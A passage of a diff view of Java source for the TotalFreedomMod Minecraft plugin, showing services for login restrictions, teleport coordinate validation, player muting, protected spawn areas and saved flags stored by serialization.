||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (count >= server.getMaxPlayers())
|
||||||
|
{
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "The server is full and a player could not be kicked, sorry!");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Player is not an admin
|
||||||
|
// Server full check
|
||||||
|
if (server.getOnlinePlayers().size() >= server.getMaxPlayers())
|
||||||
|
{
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Sorry, but this server is full.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Admin-only mode
|
||||||
|
if (ConfigEntry.ADMIN_ONLY_MODE.getBoolean())
|
||||||
|
{
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Server is temporarily open to admins only.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Lockdown mode
|
||||||
|
if (lockdownEnabled)
|
||||||
|
{
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "Server is currently in lockdown mode.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// // Whitelist
|
||||||
|
// if (plugin.si.isWhitelisted())
|
||||||
|
// {
|
||||||
|
// if (!plugin.si.getWhitelisted().contains(username.toLowerCase()))
|
||||||
|
// {
|
||||||
|
// event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "You are not whitelisted on this server.");
|
||||||
|
// return;
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.MONITOR)
|
||||||
|
public void onPlayerJoin(PlayerJoinEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
|
||||||
|
new BukkitRunnable()
|
||||||
|
{
|
||||||
|
@Override
|
||||||
|
public void run()
|
||||||
|
{
|
||||||
|
if (ConfigEntry.ADMIN_ONLY_MODE.getBoolean())
|
||||||
|
{
|
||||||
|
player.sendMessage(ChatColor.RED + "Server is currently closed to non-superadmins.");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (lockdownEnabled)
|
||||||
|
{
|
||||||
|
FUtil.playerMsg(player, "Warning: Server is currenty in lockdown-mode, new players will not be able to join!", ChatColor.RED);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}.runTaskLater(plugin, 20L * 1L);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,51 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.PlayerLoginEvent;
|
||||||
|
import org.bukkit.event.player.PlayerTeleportEvent;
|
||||||
|
|
||||||
|
public class MovementValidator extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final int MAX_XZ_COORD = 30000000;
|
||||||
|
|
||||||
|
public MovementValidator(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onPlayerTeleport(PlayerTeleportEvent event)
|
||||||
|
{
|
||||||
|
// Check absolute value to account for negatives
|
||||||
|
if (Math.abs(event.getTo().getX()) >= MAX_XZ_COORD || Math.abs(event.getTo().getZ()) >= MAX_XZ_COORD)
|
||||||
|
{
|
||||||
|
event.setCancelled(true); // illegal position, cancel it
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onPlayerLogin(PlayerLoginEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
|
||||||
|
// Validate position
|
||||||
|
if (Math.abs(player.getLocation().getX()) >= MAX_XZ_COORD || Math.abs(player.getLocation().getZ()) >= MAX_XZ_COORD)
|
||||||
|
{
|
||||||
|
player.teleport(player.getWorld().getSpawnLocation()); // Illegal position, teleport to spawn
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
104
src/main/java/me/totalfreedom/totalfreedommod/Muter.java
Normal file
104
src/main/java/me/totalfreedom/totalfreedommod/Muter.java
Normal file
@ -0,0 +1,104 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.List;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FSync;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.AsyncPlayerChatEvent;
|
||||||
|
import org.bukkit.event.player.PlayerCommandPreprocessEvent;
|
||||||
|
|
||||||
|
public class Muter extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final List<String> MUTE_COMMANDS = Arrays.asList(StringUtils.split("say,me,msg,tell,reply,mail", ","));
|
||||||
|
|
||||||
|
public Muter(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.LOW)
|
||||||
|
public void onAsyncPlayerChatEvent(AsyncPlayerChatEvent event)
|
||||||
|
{
|
||||||
|
FPlayer fPlayer = plugin.pl.getPlayerSync(event.getPlayer());
|
||||||
|
|
||||||
|
if (!fPlayer.isMuted())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (plugin.al.isAdminSync(event.getPlayer()))
|
||||||
|
{
|
||||||
|
fPlayer.setMuted(false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
FSync.playerMsg(event.getPlayer(), ChatColor.RED + "You are muted, STFU! - You will be unmuted in 5 minutes.");
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.LOW)
|
||||||
|
public void onPlayerCommandPreprocess(PlayerCommandPreprocessEvent event)
|
||||||
|
{
|
||||||
|
|
||||||
|
Player player = event.getPlayer();
|
||||||
|
FPlayer fPlayer = plugin.pl.getPlayer(event.getPlayer());
|
||||||
|
|
||||||
|
// Block commands if player is muted
|
||||||
|
if (!fPlayer.isMuted())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
String message = event.getMessage();
|
||||||
|
if (plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
fPlayer.setMuted(false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
String cmdName = message.split(" ")[0].toLowerCase();
|
||||||
|
if (cmdName.startsWith("/"))
|
||||||
|
{
|
||||||
|
cmdName = cmdName.substring(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
Command command = server.getPluginCommand(cmdName);
|
||||||
|
if (command != null)
|
||||||
|
{
|
||||||
|
cmdName = command.getName().toLowerCase();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (MUTE_COMMANDS.contains(cmdName))
|
||||||
|
{
|
||||||
|
player.sendMessage(ChatColor.RED + "That command is blocked while you are muted.");
|
||||||
|
event.setCancelled(true);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// TODO: Should this go here?
|
||||||
|
if (ConfigEntry.ENABLE_PREPROCESS_LOG.getBoolean())
|
||||||
|
{
|
||||||
|
FLog.info(String.format("[PREPROCESS_COMMAND] %s(%s): %s", player.getName(), ChatColor.stripColor(player.getDisplayName()), message), true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
46
src/main/java/me/totalfreedom/totalfreedommod/Orbiter.java
Normal file
46
src/main/java/me/totalfreedom/totalfreedommod/Orbiter.java
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.PlayerMoveEvent;
|
||||||
|
import org.bukkit.util.Vector;
|
||||||
|
|
||||||
|
public class Orbiter extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public Orbiter(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onPlayerMove(PlayerMoveEvent event)
|
||||||
|
{
|
||||||
|
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
final FPlayer fPlayer = plugin.pl.getPlayer(player);
|
||||||
|
|
||||||
|
if (!fPlayer.isOrbiting())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (player.getVelocity().length() < fPlayer.orbitStrength() * (2.0 / 3.0))
|
||||||
|
{
|
||||||
|
player.setVelocity(new Vector(0, fPlayer.orbitStrength(), 0));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
397
src/main/java/me/totalfreedom/totalfreedommod/ProtectArea.java
Normal file
397
src/main/java/me/totalfreedom/totalfreedommod/ProtectArea.java
Normal file
@ -0,0 +1,397 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import com.google.common.collect.Maps;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.UUID;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.World;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.block.BlockBreakEvent;
|
||||||
|
import org.bukkit.event.block.BlockPlaceEvent;
|
||||||
|
import org.bukkit.util.Vector;
|
||||||
|
|
||||||
|
public class ProtectArea extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final String DATA_FILENAME = "protectedareas.dat";
|
||||||
|
public static final double MAX_RADIUS = 50.0;
|
||||||
|
//
|
||||||
|
private final Map<String, SerializableProtectedRegion> areas = Maps.newHashMap();
|
||||||
|
|
||||||
|
public ProtectArea(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
File input = new File(plugin.getDataFolder(), DATA_FILENAME);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (input.exists())
|
||||||
|
{
|
||||||
|
FileInputStream fis = new FileInputStream(input);
|
||||||
|
ObjectInputStream ois = new ObjectInputStream(fis);
|
||||||
|
areas.clear();
|
||||||
|
areas.putAll((HashMap<String, SerializableProtectedRegion>) ois.readObject());
|
||||||
|
ois.close();
|
||||||
|
fis.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
input.delete();
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
|
||||||
|
cleanProtectedAreas();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
save();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void save()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
FileOutputStream fos = new FileOutputStream(new File(plugin.getDataFolder(), DATA_FILENAME));
|
||||||
|
ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||||
|
oos.writeObject(areas);
|
||||||
|
oos.close();
|
||||||
|
fos.close();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onBlockBreak(BlockBreakEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
if (plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Location location = event.getBlock().getLocation();
|
||||||
|
|
||||||
|
if (isInProtectedArea(location))
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.NORMAL)
|
||||||
|
public void onBlockPlace(BlockPlaceEvent event)
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
if (plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Location location = event.getBlock().getLocation();
|
||||||
|
|
||||||
|
if (isInProtectedArea(location))
|
||||||
|
{
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInProtectedArea(final Location modifyLocation)
|
||||||
|
{
|
||||||
|
boolean doSave = false;
|
||||||
|
boolean inProtectedArea = false;
|
||||||
|
|
||||||
|
final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
|
||||||
|
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
final SerializableProtectedRegion region = it.next().getValue();
|
||||||
|
|
||||||
|
Location regionCenter = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
regionCenter = region.getLocation();
|
||||||
|
}
|
||||||
|
catch (SerializableProtectedRegion.CantFindWorldException ex)
|
||||||
|
{
|
||||||
|
it.remove();
|
||||||
|
doSave = true;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (regionCenter != null)
|
||||||
|
{
|
||||||
|
if (modifyLocation.getWorld() == regionCenter.getWorld())
|
||||||
|
{
|
||||||
|
final double regionRadius = region.getRadius();
|
||||||
|
if (modifyLocation.distanceSquared(regionCenter) <= (regionRadius * regionRadius))
|
||||||
|
{
|
||||||
|
inProtectedArea = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (doSave)
|
||||||
|
{
|
||||||
|
save();
|
||||||
|
}
|
||||||
|
|
||||||
|
return inProtectedArea;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInProtectedArea(final Vector min, final Vector max, final String worldName)
|
||||||
|
{
|
||||||
|
boolean doSave = false;
|
||||||
|
boolean inProtectedArea = false;
|
||||||
|
|
||||||
|
final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
|
||||||
|
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
final SerializableProtectedRegion region = it.next().getValue();
|
||||||
|
|
||||||
|
Location regionCenter = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
regionCenter = region.getLocation();
|
||||||
|
}
|
||||||
|
catch (SerializableProtectedRegion.CantFindWorldException ex)
|
||||||
|
{
|
||||||
|
it.remove();
|
||||||
|
doSave = true;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (regionCenter != null)
|
||||||
|
{
|
||||||
|
if (worldName.equals(regionCenter.getWorld().getName()))
|
||||||
|
{
|
||||||
|
if (cubeIntersectsSphere(min, max, regionCenter.toVector(), region.getRadius()))
|
||||||
|
{
|
||||||
|
inProtectedArea = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (doSave)
|
||||||
|
{
|
||||||
|
save();
|
||||||
|
}
|
||||||
|
|
||||||
|
return inProtectedArea;
|
||||||
|
}
|
||||||
|
|
||||||
|
private boolean cubeIntersectsSphere(Vector min, Vector max, Vector sphere, double radius)
|
||||||
|
{
|
||||||
|
double d = square(radius);
|
||||||
|
|
||||||
|
if (sphere.getX() < min.getX())
|
||||||
|
{
|
||||||
|
d -= square(sphere.getX() - min.getX());
|
||||||
|
}
|
||||||
|
else if (sphere.getX() > max.getX())
|
||||||
|
{
|
||||||
|
d -= square(sphere.getX() - max.getX());
|
||||||
|
}
|
||||||
|
if (sphere.getY() < min.getY())
|
||||||
|
{
|
||||||
|
d -= square(sphere.getY() - min.getY());
|
||||||
|
}
|
||||||
|
else if (sphere.getY() > max.getY())
|
||||||
|
{
|
||||||
|
d -= square(sphere.getY() - max.getY());
|
||||||
|
}
|
||||||
|
if (sphere.getZ() < min.getZ())
|
||||||
|
{
|
||||||
|
d -= square(sphere.getZ() - min.getZ());
|
||||||
|
}
|
||||||
|
else if (sphere.getZ() > max.getZ())
|
||||||
|
{
|
||||||
|
d -= square(sphere.getZ() - max.getZ());
|
||||||
|
}
|
||||||
|
|
||||||
|
return d > 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
private double square(double v)
|
||||||
|
{
|
||||||
|
return v * v;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addProtectedArea(String label, Location location, double radius)
|
||||||
|
{
|
||||||
|
areas.put(label.toLowerCase(), new SerializableProtectedRegion(location, radius));
|
||||||
|
save();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void removeProtectedArea(String label)
|
||||||
|
{
|
||||||
|
areas.remove(label.toLowerCase());
|
||||||
|
save();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void clearProtectedAreas()
|
||||||
|
{
|
||||||
|
clearProtectedAreas(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void clearProtectedAreas(boolean createSpawnpointProtectedAreas)
|
||||||
|
{
|
||||||
|
areas.clear();
|
||||||
|
|
||||||
|
if (createSpawnpointProtectedAreas)
|
||||||
|
{
|
||||||
|
autoAddSpawnpoints();
|
||||||
|
}
|
||||||
|
|
||||||
|
save();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void cleanProtectedAreas()
|
||||||
|
{
|
||||||
|
boolean doSave = false;
|
||||||
|
|
||||||
|
final Iterator<Map.Entry<String, SerializableProtectedRegion>> it = areas.entrySet().iterator();
|
||||||
|
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
it.next().getValue().getLocation();
|
||||||
|
}
|
||||||
|
catch (SerializableProtectedRegion.CantFindWorldException ex)
|
||||||
|
{
|
||||||
|
it.remove();
|
||||||
|
doSave = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (doSave)
|
||||||
|
{
|
||||||
|
save();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<String> getProtectedAreaLabels()
|
||||||
|
{
|
||||||
|
return areas.keySet();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void autoAddSpawnpoints()
|
||||||
|
{
|
||||||
|
if (!ConfigEntry.PROTECTAREA_ENABLED.getBoolean())
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ConfigEntry.PROTECTAREA_SPAWNPOINTS.getBoolean())
|
||||||
|
{
|
||||||
|
for (World world : Bukkit.getWorlds())
|
||||||
|
{
|
||||||
|
addProtectedArea("spawn_" + world.getName(), world.getSpawnLocation(), ConfigEntry.PROTECTAREA_RADIUS.getDouble());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class SerializableProtectedRegion implements Serializable
|
||||||
|
{
|
||||||
|
|
||||||
|
private static final long serialVersionUID = 213123517828282L;
|
||||||
|
private final double x, y, z;
|
||||||
|
private final double radius;
|
||||||
|
private final String worldName;
|
||||||
|
private final UUID worldUUID;
|
||||||
|
private transient Location location = null;
|
||||||
|
|
||||||
|
public SerializableProtectedRegion(final Location location, final double radius)
|
||||||
|
{
|
||||||
|
this.x = location.getX();
|
||||||
|
this.y = location.getY();
|
||||||
|
this.z = location.getZ();
|
||||||
|
this.radius = radius;
|
||||||
|
this.worldName = location.getWorld().getName();
|
||||||
|
this.worldUUID = location.getWorld().getUID();
|
||||||
|
this.location = location;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Location getLocation() throws CantFindWorldException
|
||||||
|
{
|
||||||
|
if (this.location == null)
|
||||||
|
{
|
||||||
|
World world = Bukkit.getWorld(this.worldUUID);
|
||||||
|
|
||||||
|
if (world == null)
|
||||||
|
{
|
||||||
|
world = Bukkit.getWorld(this.worldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (world == null)
|
||||||
|
{
|
||||||
|
throw new CantFindWorldException("Can't find world " + this.worldName + ", UUID: " + this.worldUUID.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
location = new Location(world, x, y, z);
|
||||||
|
}
|
||||||
|
return this.location;
|
||||||
|
}
|
||||||
|
|
||||||
|
public double getRadius()
|
||||||
|
{
|
||||||
|
return radius;
|
||||||
|
}
|
||||||
|
|
||||||
|
public class CantFindWorldException extends Exception
|
||||||
|
{
|
||||||
|
|
||||||
|
private static final long serialVersionUID = 1L;
|
||||||
|
|
||||||
|
public CantFindWorldException(String string)
|
||||||
|
{
|
||||||
|
super(string);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
105
src/main/java/me/totalfreedom/totalfreedommod/SavedFlags.java
Normal file
105
src/main/java/me/totalfreedom/totalfreedommod/SavedFlags.java
Normal file
@ -0,0 +1,105 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.FileOutputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import static me.totalfreedom.totalfreedommod.util.FUtil.SAVED_FLAGS_FILENAME;
|
||||||
|
|
||||||
|
public class SavedFlags extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public SavedFlags(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public Map<String, Boolean> getSavedFlags()
|
||||||
|
{
|
||||||
|
Map<String, Boolean> flags = null;
|
||||||
|
|
||||||
|
File input = new File(TotalFreedomMod.plugin().getDataFolder(), SAVED_FLAGS_FILENAME);
|
||||||
|
if (input.exists())
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
try (FileInputStream fis = new FileInputStream(input); ObjectInputStream ois = new ObjectInputStream(fis))
|
||||||
|
{
|
||||||
|
flags = (HashMap<String, Boolean>) ois.readObject();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return flags;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean getSavedFlag(String flag) throws Exception
|
||||||
|
{
|
||||||
|
Boolean flagValue = null;
|
||||||
|
|
||||||
|
Map<String, Boolean> flags = getSavedFlags();
|
||||||
|
|
||||||
|
if (flags != null)
|
||||||
|
{
|
||||||
|
if (flags.containsKey(flag))
|
||||||
|
{
|
||||||
|
flagValue = flags.get(flag);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (flagValue != null)
|
||||||
|
{
|
||||||
|
return flagValue;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
throw new Exception();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void setSavedFlag(String flag, boolean value)
|
||||||
|
{
|
||||||
|
Map<String, Boolean> flags = getSavedFlags();
|
||||||
|
|
||||||
|
if (flags == null)
|
||||||
|
{
|
||||||
|
flags = new HashMap<>();
|
||||||
|
}
|
||||||
|
|
||||||
|
flags.put(flag, value);
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
final FileOutputStream fos = new FileOutputStream(new File(plugin.getDataFolder(), SAVED_FLAGS_FILENAME));
|
||||||
|
final ObjectOutputStream oos = new ObjectOutputStream(fos);
|
||||||
|
oos.writeObject(flags);
|
||||||
|
oos.close();
|
||||||
|
fos.close();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
FLog.severe(ex);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,85 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
|
||||||
|
public class ServerInterface extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final String COMPILE_NMS_VERSION = "v1_12_R1";
|
||||||
|
|
||||||
|
public ServerInterface(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void warnVersion()
|
||||||
|
{
|
||||||
|
final String nms = FUtil.getNmsVersion();
|
||||||
|
|
||||||
|
if (!COMPILE_NMS_VERSION.equals(nms))
|
||||||
|
{
|
||||||
|
FLog.warning(TotalFreedomMod.pluginName + " is compiled for " + COMPILE_NMS_VERSION + " but the server is running version " + nms + "!");
|
||||||
|
FLog.warning("This might result in unexpected behaviour!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// public void setOnlineMode(boolean mode)
|
||||||
|
// {
|
||||||
|
// final PropertyManager manager = getServer().getPropertyManager();
|
||||||
|
// manager.setProperty("online-mode", mode);
|
||||||
|
// manager.savePropertiesFile();
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// public int purgeWhitelist()
|
||||||
|
// {
|
||||||
|
// String[] whitelisted = getServer().getPlayerList().getWhitelisted();
|
||||||
|
// int size = whitelisted.length;
|
||||||
|
// for (EntityPlayer player : getServer().getPlayerList().players)
|
||||||
|
// {
|
||||||
|
// getServer().getPlayerList().getWhitelist().remove(player.getProfile());
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// try
|
||||||
|
// {
|
||||||
|
// getServer().getPlayerList().getWhitelist().save();
|
||||||
|
// }
|
||||||
|
// catch (Exception ex)
|
||||||
|
// {
|
||||||
|
// FLog.warning("Could not purge the whitelist!");
|
||||||
|
// FLog.warning(ex);
|
||||||
|
// }
|
||||||
|
// return size;
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// public boolean isWhitelisted()
|
||||||
|
// {
|
||||||
|
// return getServer().getPlayerList().getHasWhitelist();
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// public List<?> getWhitelisted()
|
||||||
|
// {
|
||||||
|
// return Arrays.asList(getServer().getPlayerList().getWhitelisted());
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// public String getVersion()
|
||||||
|
// {
|
||||||
|
// return getServer().getVersion();
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// private MinecraftServer getServer()
|
||||||
|
// {
